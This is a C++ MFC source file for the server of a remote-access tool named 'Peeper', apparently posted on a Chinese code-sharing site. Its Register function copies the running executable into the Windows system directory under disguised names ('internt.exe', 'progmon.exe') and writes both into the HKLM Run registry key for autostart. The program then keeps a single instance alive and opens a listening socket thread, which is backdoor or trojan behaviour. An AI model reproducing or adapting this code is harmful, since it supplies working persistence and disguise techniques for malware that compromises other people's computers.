📄 peeperserver.cpp
字号:
#include "stdafx.h"
#include "PeeperServer.h"
#include "SocketThread.h"
BEGIN_MESSAGE_MAP(CPeeperServerApp, CWinApp)
//{{AFX_MSG_MAP(CPeeperServerApp)
//}}AFX_MSG
END_MESSAGE_MAP()
CPeeperServerApp::CPeeperServerApp()
{
}
CPeeperServerApp theApp;
BOOL CPeeperServerApp::Register()
{
long ret = 0;
HKEY hKEY;
char chCurPath[MAX_PATH];
char chSysPath[MAX_PATH];
char lpNewFileName1[MAX_PATH];
char lpNewFileName2[MAX_PATH];
LPSTR lpCurFileName;
DWORD dwType = REG_SZ;
DWORD dwSize = MAX_PATH;
LPCTSTR lpRegPath = _T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
::GetSystemDirectory(chSysPath, dwSize);
::GetModuleFileName(NULL, chCurPath, dwSize);
//Copy File
lpCurFileName = chCurPath;
sprintf(lpNewFileName1, "%s\\internt.exe", chSysPath);
ret = CopyFile(lpCurFileName, lpNewFileName1, FALSE);
sprintf(lpNewFileName2, "%s\\progmon.exe", chSysPath);
ret = CopyFile(lpCurFileName, lpNewFileName2, FALSE);
//Open key
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRegPath, 0, KEY_WRITE, &hKEY);
if(ret != ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return FALSE;
}
//Set Key
ret = RegSetValueEx(hKEY, "Internt", NULL, dwType,
(const unsigned char*)lpNewFileName1, dwSize);
ret = RegSetValueEx(hKEY, "Program file", NULL, dwType,
(const unsigned char*)lpNewFileName2, dwSize);
RegCloseKey(hKEY);
return TRUE;
}
#define PEEPER_ALONE _T("PEEPER_ALONE_FILEMAPPING_LDF_5180")
BOOL CPeeperServerApp::InitInstance()
{
//保持只有一个服务在运行.....
//使用了文件映像的方法,存储当前Process ID到内存中,这样就可以通过这个
//ID来退出这个进程了.
HANDLE hProcessID = ::OpenFileMapping(FILE_MAP_ALL_ACCESS, TRUE, PEEPER_ALONE);
LPBYTE lpData = NULL;
if(hProcessID != NULL) // 已经有服务在运行了.
{
lpData = (LPBYTE)::MapViewOfFile(hProcessID,
FILE_MAP_ALL_ACCESS, 0, 0, sizeof(DWORD));
DWORD dwID = 0;
if(lpData != NULL)
{
dwID = *((DWORD *)(lpData)); // 得到在运行的进行ID
}
::UnmapViewOfFile(lpData);
::CloseHandle(hProcessID);
if(dwID != 0) // 通过ID来退出进程
{
HANDLE hHandle = NULL;
hHandle = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwID);
::TerminateProcess(hHandle, 0);
::WaitForSingleObject(hHandle, INFINITE);
::CloseHandle(hHandle);
}
}
hProcessID = ::CreateFileMapping((HANDLE)0xFFFFFFFF, NULL, PAGE_READWRITE,
0, sizeof(DWORD), PEEPER_ALONE);
if(hProcessID != NULL) // 创建新的文件映象,保存本进程的ID
{
lpData = (LPBYTE)::MapViewOfFile(hProcessID,
FILE_MAP_ALL_ACCESS, 0, 0, sizeof(DWORD));
if(lpData != NULL)
{
DWORD dwID = ::GetCurrentProcessId();
memcpy(lpData, &dwID, sizeof(DWORD));
}
}
Register();
CSocketThread *m_pSocketThread = new CSocketThread(PL_PEEPER_PORT);
m_pSocketThread->CreateThread();
::WaitForSingleObject(m_pSocketThread->m_hThread, INFINITE);
::UnmapViewOfFile(lpData); // 取消文件映象
::CloseHandle(hProcessID);
return FALSE;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -